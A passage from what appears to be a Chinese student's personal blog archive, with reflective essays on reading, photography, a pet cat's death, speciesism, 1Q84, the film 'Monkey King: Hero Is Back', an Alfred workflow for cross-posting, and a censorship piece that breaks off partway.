两个阅读方法的并行实施,让我发现了两者在其中的区别。在碎片化阅读中获得的信息虽然十分及时有效,但由于更新频繁且内容十分繁杂,正如其名的碎片化,久而久之从中获得的信息也变得支离破碎,在脑中失去了管理,容易遗忘,也难以组织,相应的价值大打折扣。而在沉浸式阅读中,对书本的阅读一般来说周期较长,相应的,对信息的消化和理解也更加深入和到位,加之阅读过程中有充足的时间思考,整个过程中对信息的沉淀是碎片化阅读远远不能及的。结果便是碎片化阅读获得的信息价值所能维持的时间越来越短,最后脑内存留下来的多是沉浸式阅读带来的收获。 碎片化阅读带来了大量的信息,而最后这些信息如果转变为无价值,也就实际构成了一种信息噪音,噪音越多越大,对真正有价值的信息的判断的干扰也会越来越大。但是面对信息的碎片我们真的毫无办法吗?有。只要在原有的阅读的基础上,再对信息进行进一步的筛选,整理,再吸收等过程,也可以避免信息噪音的出现。但如此这般过后,我们又付出了更多的时间,精力等成本。再反观碎片化阅读的初衷,时效性和便携性,我们希望付出较少的成本获得更大的信息收益的愿望被打破了。 阅读最后的归宿 所以我们该如何在当今信息爆炸的世界中剥去噪音,找到真正有价值的信息? 辨认“信息噪音”有一个立竿见影的方法,就是调整评估信息价值的时间尺度。——采铜 如上引语所说,真正有价值的信息,应当是在一个长时间尺度上,有经久不衰价值的内容。如果我们在阅读过程中,能从只有短时效应的碎片化信息中抽出身来,通过时间这把尺子测量出真正有“长”价值的信息内容,我们也同样能达到高效率和低成本的目的。现在的我已经减少了碎片化阅读的内容,转而又捧起了书籍,同这些流传盛久的高价值信息为伍。 如要总结阅读这件事上给我的的人生启示,那就是人生很长,不如用这漫长的一生做一些长远的事。

2016/7/18
articleCard.readMore

好久没有写东西了,一是因为自己的服务器到期了没有再续,博客也跑不起来了,二是因为自己现在面对屏幕上跳动的光标,没法像以前一样能讲出大段的话来,平时太多的感悟要么沉在了心底,要么都讲给了能和我一起倾听和讨论的人,至于剩下的,便很难拿到台面上来再写出来了。 今天凌晨看了 Apple 的 WWDC 开幕会,很晚才睡的觉,而且睡得并不好,燥热的空气让人处在半梦半醒的边缘,像被胶水黏住了时间,很迷离也很漫长。我向来是睡觉会做梦的人,很多人说睡觉做梦是睡眠不好,算是不正常,然而对我来说吧,如果一天晚上没有做梦,那才是不正常。 还有不到两个月的时间我就要迎来高三的生活了,对于每一个学生来说,除了即将铺面而来的繁重学习,还会迎接那么一个特殊群体的归来——每年的这个时候都会有许多在外学成归来的隶属于本地的学生,因为籍贯的原因回到这个他们曾经离开过的地方,开始他们在进入大学之前最后一个阶段的学习。这本来没有什么,但是有那么一个人,她同样属于这样一群人的行列,她也即将归来。于我而言,这本没什么关系,但细究,在这无关系之间,又埋藏着曾经奇怪的那么一撇。 昨晚上的梦很奇怪,一个这样一个已经和我近乎没有了交集的人突兀的出现,让我清醒后在思索时有点无所适从。 她是一个活在我记忆里的人,现实中唯一能让我意识到这个人存在的,是偶尔出现在 QQ 空间里那么三言两语的说说;她曾是一个很神奇的人,让我迷失过方向,在她的世界里走失;她也是一个我早已放下的人,我不会跟她再有更多的交集,现在没有,未来也不会有;然而,我也肯定能用我仅有的记忆肯定的描述到:她是一个善良的人。 我很谢谢她。谢谢她能在我即将过去17年的生命里扮演了一个让我的回忆不那么乏味的多彩的人,扮演了一个让我回忆起来能有一丝欣慰笑容的人。如此,我认为她是一个善良的人。 生命之路,我要走过17年了。这17年来,我写了很多字,其中一些在垃圾桶,其中一些在互联网之上,更有一些在心里;拍了不少的照片,其中有肉眼所见的记录,有精神所向往的视角,更有你所见的我眼中的这个世界;认识了很多人,其中一些已经消失在人海,其中一些正陪在我左右并肩而行,更有那么一个人正和我走在精神的共同道路上,我很幸运我能认识那些能陪我走过人生某一段路的人,更幸福有一个愿意和我一直走下去的我爱的也爱我的人。 谢谢那些生活在耿海直过去17年生命里的人,那些生活在我的现在的人和即将陪我一起到我的未来的人儿。

2016/7/2
articleCard.readMore

随手拍

2013年9月21日,我在空间里创建了一个叫“随手拍”的相册,时至今日总共过去了超过两年多,照片数量已经从最开始的0张变成了607张,在一段长长的时间里,能一直坚持做下来的事情不多,这算是其中一件。 从刚开始拍了照片只是简单的加滤镜,到现在每一次拍摄都要从头到尾仔细的观察和思考,镜头中的景物在和我一起成长。在那很久很久以后我才明白一个道理,其实每个人都有一个顶级的照相机——真正在记录景物的其实不是人手中的光学镜片,而是每个人自己的眼睛。我在随手拍的相册简介里写到: 分享生活,留住感动。 上次讲到那天在学校实验楼看到的夕阳,遗憾于没有记录下来。然而那一天物理老师有心的发现我们沉醉于窗外的景色,在我们离去后,用手机把那副景记录了下来。 那一瞬间真的很感动,我所理解的一个摄影师在做的,正是应该是帮人留住景物,让更多的眼睛能够看到摄影师的眼睛看到的景物,这里面有这个世界,也有摄影师的世界。 忘了在哪看到过一句话:“一个人在不断的经历和成长后,真正可贵的,是自始至终都不要失去感受幸福的能力。”可爱的人可是会感受生活,分享生活! 我觉得这就是身为一个摄影者的信仰。

2016/1/9
articleCard.readMore

一年的意义

周三下午第八节自习课,久违地来到了物理实验室。摆弄了许久导线之后,望向了窗外:远方白雪覆盖的沙山、青红色交融的云层、烟囱中冒出的白烟、随风飘荡的旗帜,虽简单但壮阔的景象勾住了我的魂,随即想到是应该把此景记录下来,又发觉没带任何可以拍照的设备,不免心生遗憾。 「真正的美景应该留在自己的心里。」 马铭力从讲台上下来,路过我旁边,仿佛看穿了我的心思,突然冒出来了这么一句。我看着他,他会意的笑了笑,我又把目光移向了窗外。 很久以来我一直想写一点关于「意义」的东西。琢磨过很多东西的意义后,我自己先给自己摆了一个问题:「意义」这个词的意义是什么? 意义,与作用和价值相近。指的是人们为某种行为所能带来的作用和价值,包括人们对意义的认知和人生的一种认识。 百科对意义的解释如上,简要概括便是「意义是一种人对一切存在的主观认识」。对这个答案满意吗?从理论层面尚可接受,但我总觉得意义应该是更深的东西:「意义」应该是更有意义的东西。于是,我把自己陷入了一种「追寻意义」的迷宫。 从出生起我们就常问自己「活着的意义是什么?」、「我为何而存在?」对这些问题,有的人也许已经找到了属于自己的答案,有的人也许还在寻找。然而我生活在一个凡事都讲意义的国家,从小都被潜移默化的观念影响着,诸如「生活的意义就是好好学习,考上一所好大学,找到一个好工作,成家立业……」云云。这些意义在我成长的过程中,越来越给我造成困惑,后来我才明白,这些都是父母选择的意义,是大部分人选择的意义,是社会选择的意义,而独独不是我自己的意义。 于是在生活中,我开始追寻意义。 这是我这一年拍过的照片里面我最喜欢的几张。我喜欢拍照,因为我觉得这就是景色的意义,被记录下来,被铭记。 「真正的美景应该留在自己的心里。」 眼前依旧是窗外的夕阳,不同的是心境。景色真的需要被记录吗?我对景物意义的拿捏开始动摇。每天在网络上,我都能看到许多照片,有人会在一天的辛苦后,因为归家时看到粉红的夕阳而感动;有人会因为一桌自己喜爱的麻辣烫而感到幸福滋润;有的人因为冥王星的一张照片,为自己是人类的一员而自豪。眼前的景色同样让我动容,很明显这不是记录景色带来的,而是我对景色的认识让我震撼。 回想这一年的光景,没有了高一时的感时伤怀,对往事的留恋似乎已经乘风而去,同这一年的四季交替一起被埋藏在了时间的夹缝里。如果去年的意义是在改变中找到自己的位置,那么这一年的意义是什么?我想正是「追寻意义」。 「意义」到底是什么?目前为止,我追寻到了一部分答案。世间的一切本质都毫无意义,所谓的有意义,是每一个不同的人给一切加上的,自己追寻到的意义。 在《活着》的书序里作者写道:人是为活着本身而活着的,而不是为了活着之外的任何事物所活着。 这个活着的意义是什么我不知道,但至少开心是我的活着的意义中的很重要的一部分。 要是你明白了我所说的,那么你应该能明白无意义的力量在于它可以是任何意义。所以,庆祝无意义!为的是更好的意义。 拉蒙说:无意义,我的朋友,这是生存的本质。它到处、永远跟我们形影不离。 以上,就是我这一年的意义。

2015/12/20
articleCard.readMore

个人博客存在的意义

不时会有朋友问我,你在博客上写那么多东西,有人看吗?起初,这个问题让我很是受挫。如果没记错的话,我最早是在 2012 年正式开始写博客的,并且写过的东西并不算多,大多是一些感悟或是技术性的分享。这期间也由于一些原因,中断过对博客的维护,但时至今日,还是坚持了下来。初始时,我对博客的理解,是一种纯粹的分享:把自己的发现发布到所有人都能触手可及的网络上。所以,如果没有人看的话,似乎就失去了分享的意义。 然而事实也确实如此。望着博客始终维持在个位数的访问量,我也使出了浑身解数,试图让我的内容能够博人眼球——对时事的提及,分享一些有趣的 App、音乐或是电影等等。尝试了不久,现状依旧,最初所追求的分享的乐趣也渐渐消失,终于,我还是选择了放弃。我没有再去分享什么,而是把博客当成了自己的宣泄工具。任何想到的观点,任何突然出现的思绪,都能成为一片博文被发表出来。我也很满足于这种直接表达的快感,甚至一度觉得自己也成为了那种能自己写文章的“自由文字工作者”。 经过两个在写博客这件事上理解的改变,我开始思考,个人博客存在的意义到底是什么? 我对一个博客的好坏评判标准有三点: 见解 信息量 迭代更新 简单概括为一句话就是有独到见解,有充实内容,并且时刻保持更新。这似乎印证了我最开始的写博客的初衷:分享。 而分享似乎是个有点物质的词,博客上能分享的不因该仅仅是具象化的东西。我尝试换了个说法:交流。写博客也可以是为了和大家交流自己的想法,这又印证了近来一个阶段我写博客是为了表达自己的目的。 不知在哪看过这么一段话,让我霍然开朗。 写博客是为了和过去以及未来的自己对话 博客可以作为一个见证,它既可以见证过去也可以见证未来,看自己以前的文章,可以回顾自己的成长,就算是黑历史,也可以和现在的我打个照面,看看自己的改变,目前正在写的博文也将是未来我的“参考历史”,给自己留下一个悬念,期待一下现在的自己和未来的自己又会有怎样的不同。博客可以作为一个时间的媒介,它可以历尽沧海仍不变,供它的主人来了解其本身。 所以,个人博客从来不是写给别人看的。我拥有自己的三观,却从未去打量过自己;看多了别人的思想,却从未想过表达自己。从开始建博客到现在,我饶了一大圈,终于又回到了自己身上:个人博客是写给自己的。 个人博客如同自己的一座花园,里面种的都是自己丰硕的思维花朵,只为自己欣赏,不为追求别人的褒扬之词,即便如此,当有人路过时,我还是希望他能说一句: “嘿,你的花真漂亮。”

2015/12/12
articleCard.readMore

物种主义

以下内容可能会使部分读者感到不适,如果你在阅读过程中感到不适,请迅速解除关注然后离开。 今天看《自私的基因》时,作者提到了一个叫做「物种主义」的概念。乍一看到这个词,我立马联想到的了另一个和它长的很像的词——种族主义。作为一套意识形态,其基本信仰为人类可以被分类成不同及互不附属的“人种”,因此主张遗传的肉体特质直接决定人性、智商、道德等等文化及行为的特性,并主张某些种族的人在本质上比其他种族的人优越。种族主义也赞成对某些种族的人以轻蔑、讨厌、瞧不起等方式的对待,即种族歧视。稍微对身边这个世界有所关注的人都知道,种族主义至今依然存在世界的各个角落。但是,现在要讨论的物种主义,在我看来似乎存在于每一位活着的地球人身上。 何为物种主义?类比于种族主义,不难给它下一个简单的定义,即对地球上的物种进行分级,承认生命也分三六九等。等等,现在不是在宣扬生命生而平等吗?而且对其他生命的不尊重是个挺让自己和别人都过意不去的行为。物种主义到底是怎么一回事? 在我看来,所谓生而平等不过是人类身为「高等生物」而擅自给其他生命甚至物种给予的权利。 非战争时期杀人,在每一个国家都是最严重的罪行。要说更严重的,被我们的文明更加严厉谴责的罪行是吃人。然而每天中午回家,你看着桌上新鲜的美食,其中也许不乏鸡鸭鱼肉,烹饪这些美食,首要的一步就是将这些活着的食材先杀掉,然后趁着食材们的尸体还新鲜,加以处理,最后成为你的盘中餐。当你目睹一位人类被处刑,也就是被杀害时,你会觉得惨不忍睹,毕竟看着自己的同类血肉横飞不是一件愉快的事,但是同时,我们却在猎场里肆意猎杀着其他的物种来取乐。你也许会说人类是有情感的,这也就是为什么我们不会残杀彼此(至少大多数人如此)。一个人类的胎儿,所具有的人的情感不比一个草履虫多,但只因为他和我们同属一个物种,他所得到的法律保护远比一个成年黑猩猩多——尽管黑猩猩和人类的进化史大约有99.5%是共同的——综上所论述的现象,均为物种主义。 经过对号入座后你也许会说你是一个素食主义者也从来不杀生,何谈物种主义?如果你认为植物并不是生物的话,那你开心就好。 同样为物种主义的现象还有一个,在我看来相当典型:宠物。猫狗是大多数人类家庭里会拥有的宠物,人类对其的喜爱不比美食——然而,也有人把它当做美食,每年都会闹得沸沸扬扬的玉林狗肉节一直在颤动着动物保护协会的人的心。不过一直以来让我困惑的一件事是,既然名为动物保护主义,我倒是希望他们去关心一下每天任人宰杀的兔子的权利,仅仅一个有一定规模的养殖场里,每天就发生着几万的杀害,放在物种的角度来看那些人似乎不比纳粹好到哪去。(我见过很多素食主义者和动物保护者这么形容吃肉的人类)当然他们给出的理由是:“狗可是我们人类的好朋友啊,你忍心吃掉你的好朋友吗?”我靠,兔子那么可爱,人随便吃没人抵制。鱼那么呆萌,还会吐泡泡,随便吃没人抵制。牛那么萌,还特么有明星专门取名牛萌萌,照样吃。各种飞禽走兽都有可爱的地方,都有作为人类朋友通晓灵性的证据,独独狗吃不得。Sorry, I don’t understand…… 所以我举了这么久例子,你可能有点恼火:“你总得论述点观点吧?这一切都是为什么?”对不起,我还真说不出来所以然,身为一个人类,一个有物种歧视的人类,我对我身上存在的物种主义久久无法理解。按照一个广为流传(而且很荒谬)的逻辑:“你都不能做到,凭什么来评判我们?”我还是闭嘴为妙。不过我还是想提出问题。物种主义在道德的位置上相比较于种族主义更合适吗?在理查德道金斯看来,即使在进化生物学上,这也是毫无正当依据。如果用利他主义来解释人类为什么会对其他物种如此残忍,即杀害其他物种只是为了自己种族的生存。可在达尔文进化论面前,每个生命的个体都是自私的,别说为自己的种族考虑,我相信看过星际穿越电影的人都会记得其中 Dr.Manna 说的一句话:“你们人类还没有进化到能为整个种族的未来而考虑的地步。”如果利他主义的所要付出的代价是牺牲自己的利益,我相信除了圣人还没有几个人类能真正做到。再进一步提出问题,这种物种主义所停留的物种层级是怎么界定的呢?豹子和牛,以及人类同为哺乳动物。按照物种主义,我们难道不因该要求豹子别再杀害牛,以维护整个哺乳纲的利益吗?这样的话,让豹子去捕杀卵生的鸟类或者爬行动物倒是个合适的选择。可是,我们和鸟类,爬行动物同为脊椎动物这一门,我们又该怎么做?这下物种主义又无法自圆其说。 大自然甩给了人类很多问题,领域不仅限于科学,更在道德伦理。但有一个事实不得不承认,当我们杀死一个与自己不同物种的生命的时候,大多数时候我们并不会有多大愧疚,甚至有时候我们会很高兴,比如说打苍蝇。 然而,在茫茫宇宙中,自以为站在物种进化顶端的我们也许会是别的生命,正在寻找,正在拍打的,一只弱小,微不足道的苍蝇。

2015/11/8
articleCard.readMore

删除掉痛苦,也就感受不到快乐

9月6号晚上,躺在毯子上的果粉正费力地呼吸。束手无策的我看着他,只能看着他。随后——从我踏进家门后的不久——果粉停止了呼吸,放大的瞳孔失去了光泽。 给果粉擦干净身子后,把他放进了他的猫窝——刚出生时他躺在这个窝里,没想到,最后也是躺在这个窝里——在他的爪子旁放上了他的玩具,以及他最喜欢玩的塑料吸管,最后便把他埋在了防护林里。 那一天是我活了16年,哭的最痛苦的一次。 第二天生活还是要继续,但我的状态全无。上课时,在我脑海里不停回放果粉曾经的快乐,以及他最后的痛苦。 随后侵袭我的是脑海里始终挥之不去的一个自责的困惑。从果粉来到我家,到一年又两个月后他的离去。即使没有这次或是以后的意外,他总会提前我而离去,猫的寿命不及人类的五分之一。如果当初领养他的时候就知道总有一天他会离去,这种离去诚然是痛苦的。那么: “你为什么要选择他?” 初次想到这个问题,我还嘲笑自己真是无趣。既然你总要死,为什么还要活?既然你总会失败,为什么要去尝试?他们总会离你远去,为什么现在还要去接近?我用一个个类似的不证自明的问题来反驳自己,试图向自己解释清楚这一切,当然,我无法理解。但即便跨过这道困惑的解,我又开始比较,是最后的痛苦比较痛苦,还是曾经的快乐更快乐? 直到听到一篇文章,作者讲到:“从小我就有个悲观的想法,我觉得这世上的情感是守恒的。大到整个世界,小到一个人,给了你多少欢乐,也会赋予你同样的悲伤。或者说,如果快乐是正数,悲伤是负数,那么这些统统加起来,结果是零。”结果令人失望,看起来这个世界总是平淡的,因为快乐和痛苦是等量的存在。这似乎又一次引出了一个终极哲学命题:活着的意义。 我又开始回忆果粉曾经带给我的点滴。冬天,他会知趣的躺到暖气片旁的书桌上懒洋洋的睡觉;夏天,他会在凉快的地板上吹空调;平时,能陪我学习到很晚的是趴在作业本上的他;午后,在午睡后睡眼惺忪的视野里,第一个看到的也是依偎在我身边的他;回家时,他总在地上打滚迎接我的归来。如果说我活着的地球是我的世界,那么也许,我就是他全部的世界。低落的心情从这些愉快的回忆中找到了些许光亮,我摇头笑了笑,笑我们的过去,笑我的未来。 笑着笑着,文章也听到了最后:“快乐可以比悲伤多一点点。哪怕只多出十亿分之一,也是这世界存在的理由,是我们活着的全部目的。” 从那一瞬我开始坚信,果粉给我带来的快乐与他离去的痛苦的比较结果,不是等号,更不是大于号,而是远远大于号。如果说快乐的存在使生命有了意义,那么痛苦就是为了让我们更好的感受快乐。删除了痛苦,也就感受不到快乐。 写给喵星的果粉

2015/9/19
articleCard.readMore

心中的大圣归来

说实话,在看到官方主题曲《从前的我》的 MV 之前,我是从来没有听说过这部动漫的,直到点开那部预告片似的 MV——我觉得这是我这辈子做过最正确的一件事之一。 那天的成都,在我进入电影院之前已然下起了阵雨。拖了很久,终于来到了电影院,比起电影初上映时可怜的排片率,此时的大圣已然凭借极好的口碑霸占了院线的各个影厅。 进电影院之前我总会做调研,看豆瓣上对大圣的评价,除简单的好评外,还有类似“看哭”,“剧情适合儿童”,“剧情有点简陋”等措辞,原本期待的心稍稍有些凉意,但当同学问我去看什么电影,我看了一眼自己手中的电影票,依然底气十足地告诉他我要去看大圣。直到电影开始前,我一直处于忐忑之中,我希望我眼前的荧幕能带给我不一样的东西。 电影开始不久,我他妈就看哭了。 开场即是孙悟空大闹天宫的场景。大圣的红头巾在天兵天将的包围下随风暴飘荡,屹立的是大圣末路英雄的身影,然后就是大家耳熟能详的孙悟空被如来佛祖压在五行山下的情节。随即就是一段戏文说到:“齐天大圣是不会死的,他只是睡着了。” 然后我的鼻头一酸。 曾经在电视屏幕上陪伴了我大半个童年时光,看了一遍又一遍的西游记;儿时买的孙悟空的面具和金箍棒一下子都涌入我的回忆。是啊,齐天大圣是不会死的,他只是睡着了,齐天大圣在我心里是不会死的,他只是在我心里睡着了。 最后,山海经中山妖形象的大 boss 即将得逞,却迟迟不见孙悟空的身影时。我突然一震,我有预感,那段耳熟能详的《小刀会序曲》即将响起。果不其然,在一段唢呐的铿锵声中,大圣出现在了尘土之中。 这次我哭了。 在这篇算不上影评的影评里,我不想一遍遍的告诉你们它的动画效果有多棒,场景有多美,也不想轻易得出国产动画从此崛起的定论,你们大可说我矫情,但比起影片最后刻意安排的泪点,我更想说的是我自己的触动。大圣的故事我从儿时识字时就听起,后来在成长中又逐渐淡忘,但是看过大圣归来,我真的想说我心中的大圣又回来了。我们长大了,他的故事已经过去了很多年,但是他的故事永远不会死,永远会被传诵。大圣在电影中的出场,亦是大圣在我心中的归来。 稍有情怀的人都能看出这部电影后凝聚的制作者的心血。从8年艰难的创作历程,到如今4亿票房的成功,我想这是导演给所有理想主义者的一个美好的礼物。 国产良心和大圣一样不会死,好片和大圣一样不会死。

2015/7/20
articleCard.readMore

找不回来的感觉

上一次写这种感悟性质的东西已经是去年的事情了。翻看了自己所有的草稿和博文,除了发现时间过得真快,也发现了个奇怪的东西——感觉。 感觉是个很模糊的东西,指尖敲打键盘的触觉,看着跳跃的光标的视觉,都是一种感觉,不过这些东西给你带来的感觉很直接,前者轻快,后者跃动。 我要说的这种感觉很复杂。 也许当你听到一首曾经非常喜爱的歌时,和这首歌同一时期的回忆,确切地说是某一段人生片段的体验,就会猝不及防的涌入到你的心头;看到自己以前写下的东西,当时提笔时的思索又会零零碎碎的拼合在你的脑海。 现在离我人生一个比较重要的节点——升入高中——马上就要一年了,要我单单回忆一年前的自己在干什么,很简单,因为回忆起曾经的记忆是一件比较简单的事,但是要找回曾经的感觉,真的很难。 我以前说过我不是一个怀旧的人,但现在我不得不承认,我真的越来越想念曾经了。于是为了留住转瞬即逝的曾经,我找到了一个可以留住感觉的东西,就是上面讲到的音乐。每天睡前戴上耳机,在音乐中回忆今天的琐碎的小事,就像存档一样,不同的歌存着不同时期我的记忆,当然,还有最重要的感觉。 虽然每次找回来的感觉只有一瞬,但心灵上的一瞬往往是永恒。一瞬间涌上心头的,可以是自己曾经在夕阳下赶往绿茵场的身影,可以是自己在校庆上看到的她,可以是自己在黑夜雪花中路灯下的等待...... 能带来触动的感觉,可以是一切。

2015/6/4
articleCard.readMore

一个理想主义者的电影梦

记得曾在知乎上看到过这样一个问题 「读过很多文学作品的人和没读过的人有什么区别?」。人常说读书好读书妙,读书的好处不言而喻,然而意义何在?思量的同时向下翻看众人的回复,排名第一的答案让我释然: A reader lives a thousand lives before he dies. The man who never reads lives only one. PS:这句话出自《冰与火之歌》系列的作者 George R. R. Martin 我想对于每个热爱生活的人来说,写写文章,聊聊心里话,与别人分享自己对这个世界的看法,都是无比吸引人的事。 “塑造出一种人生的可能,并把它展示给大家。” 写一本书,作者和读者的时间成本都太长,对作者的文笔也有高要求。这是一种比较高端的「讲故事」的方法,我尚且驾驭不了。 当我拿起相机走向街头时,我意识到无需好莱坞般的专业班底,我依然可以拍出一部电影。我理想中的电影是像诺兰《记忆碎片》、詹姆斯·曼高德的《致命 ID》或者马丁·斯科塞斯的《禁闭岛》那样的悬疑电影,用电影拍出一种人生的可能,在荧幕上展现出来。时间是永不停滞、无法改变的 ,而电影可以对时间做出选择,剪辑就是选择的语言,它将告诉我们一个关乎于悬念的人生。 当我和我的团队将这种人生的可能正在付诸实现时,我理想的结果,是创作者认真的表达,低成本,但是不低质量。 当我在思考怎样才能抓住观众的心时,是要挖空心思的故弄玄虚?人生必须真诚,电影也一样。我理想的人生,是真正充满戏剧和悬念的,而不是强加上去的所谓“悬念”和“精彩”。 当然,理想不能止步不前,我要的是付诸实现,今年夏天,不见不散。

2015/2/23
articleCard.readMore

《1Q84》:期望,失望

注意:本文包含剧透 在同桌的推荐下,算是一口气读完了《1Q84》的 Book 1-3,整体的阅读感受基本上是这么一个过程:从满怀期望到无比失望。 早在阅读奥威尔的代表作《1984》时,就听说了《1Q84》这个名字,村上春树为了向前者致敬,特意采用了与之相似的年代(亦或是世界)名称,在本身的故事内容中也时不时会提及奥威尔和《1984》。《1984》与《1Q84》还有一些有趣的联系,后文中会提到。 这是我第一次阅读村上的作品,所以也是第一次接触他的文风。虚幻的比喻和描写着实引人入胜,但琐碎、冗长的故事情节也时不时在消磨着读者的耐心,Book 1 和 Book 2 的情节还算扣人心弦,但到了 Book 3 情节便以一种近乎于停滞的速度在缓慢推进着,前一半的内容我基本上是硬着头皮耐着性子,抱着能等来一个剧情爆发的节点的期待读下去的——虽然这个点到结束我都没有等到。 村上用 Book 1 开了个好头,把读者成功引入了被称之为“1Q84”的世界——一个有两个月亮和小小人的世界。Book 1 相当于一本厚厚的铺垫,各种各样的元素丰富着故事情节,宗教、乌托邦、女权、性以及一个贯穿文本始末的神秘的意象:小小人(Little People)。看到小小人,我的第一反应是另一个似乎与之相对(或者是等价?)的,出现在《1984》里面的称谓:老大哥(Big Brother)。两者都处于巨大宗教或政治团体背后的重要地位,老大哥象征着一面独大的独裁者,依靠体制给人民灌输思想,进行集权统治。而小小人,从名字上看就比老大哥要”小“,而且分散(文中出现了6个小小人,而老大哥只能有一个)。《1Q84》中提到,早在人类意识处在黎明时期的时候,小小人就早已存在于这个世上了。小小人相对于老大哥更像是存在于每个人潜意识层面的缩影,影响着每一个人,而许许多多的人又组成了社会,貌似这就是荣格所说的集体潜意识。如果说社会是一个大机器,我们每一个人都是这个大机器里的一个零件,那么小小人就是驱动零件互相作用,互相影响的动力和润滑油。 以上只是我个人的理解:小小人是一种存在于意识层面的,影响着个体甚至社会,难以名状的存在。但小小人到底是什么,直到本书结束,依然是一个悬念。村上曾说:”小小人藏在我们每个人体内,我们都受到了小小人的控制。“ Book 1 成功的吊起了我的胃口后,我又迫不及待的打开了 Book 2,总得来说,依旧精彩,而且让我感觉离悬念背后的真相更进了一步,各种问题的答案都呼之欲出,看了看 Book 3 的厚度,我相信我的期待是有回报的。 结果 Book 3 狠狠地抽了我一嘴巴子。眼看着书本的厚度一页页减少,前文留下的问题不但没有得到解答反而又有了更多的问题,正在怀疑村上能不能把故事讲完的时候——他竟然完结了。在天吾和青豆终于相遇并且从高速公路旁的避难阶梯爬回1984年的时候,故事就这样潦草的结束了。 村上想写的东西太多,想要《1Q84》承载的东西更多,孤独、痛苦、奇幻、爱情、等等杂糅其中,以至于多的有点莫名其妙了。包袱埋的太多,挖出来的却又少之又少,多少有点故弄玄虚的意味。莫名其妙的 NHK 收费员、”先驱“团体内部的真相、小小人的真正意象、天吾和深绘的交合、青豆神奇的怀孕,莫名其妙的悬念能留给读者的也只能是自己毫无边界的意淫,就跟牛河的所谓“直觉”一样:随便你怎么想,反正怎么想都是对的。 总之,《1Q84》在我心里不算一部好的作品,如果要打分,Book 1 和 Book 2 都可以打7分以上,而 Book 3 因为突兀和潦草的结局注定只能得5分以下,读者从前两本带来的期望从中只变成了极度的失望。

2015/2/4
articleCard.readMore

在 Twitter 和 Weibo 上同步发推的 Alfred Workflow

自从各大第三方社交平台客户端相继陨落之后,同步发推/微博似乎成了件难事。今早研究了下,做了个蛋疼的 Alfred Workflow 来在 Twitter 和 Weibo 上同步发推,不过至少能暂时解决我的刚需,本来还想利用 AppleScript 加上 UI 自动化,但无奈技术不够,所以目前还是半手动的。 制造过程中主要参考了这个 Workflow,利用的是 OS X 中 NSSharingService 提供的 Built-in Sharing 功能。 同时我也发现了个挺有用的东西,一个用 Ruby 写成的叫 terminal-share 的脚本,可以做到在终端中调用 Built-in Sharing,具体用法详见它的 GitHub 项目主页。本 Workflow 依赖于这个脚本,所以使用前需要先安装它: $ gem install terminal-share 然后是 Workflow 本体下载(需要科学的下载):https://www.dropbox.com/s/4dunqmgvmaij8fp/Twitter%20%26%20Weibo%20Share.alfredworkflow?dl=0

2015/1/30
articleCard.readMore

相聚有时,后会无期

大早上拖着半梦半醒的身体,快速的洗漱打理过后,一屁股坐在了沙发上,望着桌子上摆的政治复习资料和手机——(果断地)选择了后者。 不知道什么时候得上了信息强迫症(不是说笑,这真的是病),每天都要花很多时间在微博、Twitter 上快速浏览各种信息,生怕遗漏些什么。 15日晚,有媒体爆料称,姚贝娜因为乳腺癌恶化,目前在北大深圳医院 ICU 救治,16日下午,其所属公司华谊音乐在北大深圳医院门外发布简短发布会,总经理元涛表示,目前姚贝娜还未脱离危险,除了寄望医学本身之外,更希望姚贝娜强大的意志力能熬过这关。 打开手机,姚贝娜病危的消息赫然出现在了时间线上。短暂的为她祈祷希望她渡过鬼门关后便又匆匆拿上书包消失在依然漆黑的早晨,又一次踏上那条走了将近半个月的上学之路。 想想今天也是最后一天上课了,莫名有些伤感。说来也奇怪,以往放假前都是难以抑制的兴奋的心情,巴不得立马上完课考完试拍屁股走人,哪还会怀古伤今矫情这些? 为什么会感到伤感?细细评味,似乎是因为缺乏一种归属感。高中存在班级升降制度,是一场为期三年的以笔为枪,以考卷为战场的”圣战“,尤其在一班,战争硝烟始终弥漫左右。一次的失误,也许就会让你离开这个前线战场,退居于后方阵地。”班级“的这个概念被弱化了,进而与班级附属的归属感也被减少了,有了一种”成绩沉浮雨打萍“的意象。 努力吧,用自己的努力填补缺失的归属感。 回想开学前一天期待新班级新同学的兴奋,开学第一天羞涩高冷的微妙气氛,军训时团结一心的拼搏,学习中积极向上的风气,语文讲台上的百家争鸣,政治课上的两性话题,相处中毫不收敛的骚气,雨后春笋般的情侣对数,出卖灵魂的基佬集团......可能会感慨今时不同往日的变迁,沉湎于人与人交往最本真的友善,亦或者是认识到有时不是没有对的人,而是没有在正确的地点相见。 高一第一个学期的最后一次放学,下起了鹅毛大雪,推着自行车,站在空寂的校园中的路灯下,抬头望着丁达尔效应下如同无数扑面而来白点的雪花,一旁教学楼一个个班级的灯也都被熄灭,结束了这一天在黑夜中最后的一点光亮。 下一个报道的日子,你们还会是你们吗? 回到家,依旧打开时间线。 著名青年歌手姚贝娜因乳腺癌复发,于2015年1月16日下午病逝于北京大学深圳医院。 她,也伴随着这敦煌边陲小镇黑夜里的2015年的第一场雪,去了那个冰雪的国度,作了那里的女皇。 Let her go. 相聚有时,后会无期。 写给另外的39个你们, 耿海直

2015/1/16
articleCard.readMore

以审查之名

2014年11月19日,在一个江南水乡古镇——乌镇,中国将举行规模最大、层次最高的“首届世界互联网大会” 据官方称,这一盛会吸引了全球目光。 我抱着好奇的心态来到了这次互联网大会的官网,翻看了参会嘉宾的名单,中国互联网的大佬,马云、雷军、刘强东、李彦宏等都应邀出席,相应的还有各界互联网公司,阿里巴巴、小米、京东、百度等国内互联网巨头。我又瞅了眼这次大会的名称:世界互联网大会。可 Google、Twitter、Instagram 这类真正的世界互联网巨头却未出现在大会上。“世界”这两个字,此时颇有一丝讽刺的意味。 去年,许多有正规版权购买的美剧在视频网站上被撤下 前不久,人人影视、射手网等字幕网站被查封关停,理由是翻译了未经引进的影视剧作品。 影视作品以及字幕组的存在,令更多人跨越区域的限制,了解世界上不同的文化。字幕组的消失,美剧的消失,电影的消失,一次次阻断国人了解世界的通道。版权固然需要保护,但如果在尊重版权的同时又“顺手”关上一扇门,则是以版权之名,行审查之实。在最近,大家也知道武则天惨遭广电总局切胸的事。这样的审查,很可笑也很可悲。可笑在其令人哭笑不得的方式,可悲在其荒唐到令人摸不着头脑的理由。 引用最近在简书上看到的一篇文章的标题发问:资本主义的青少年能在电视上看到沟吗? 你也许尝试访问过 Google、Twitter、Facebook 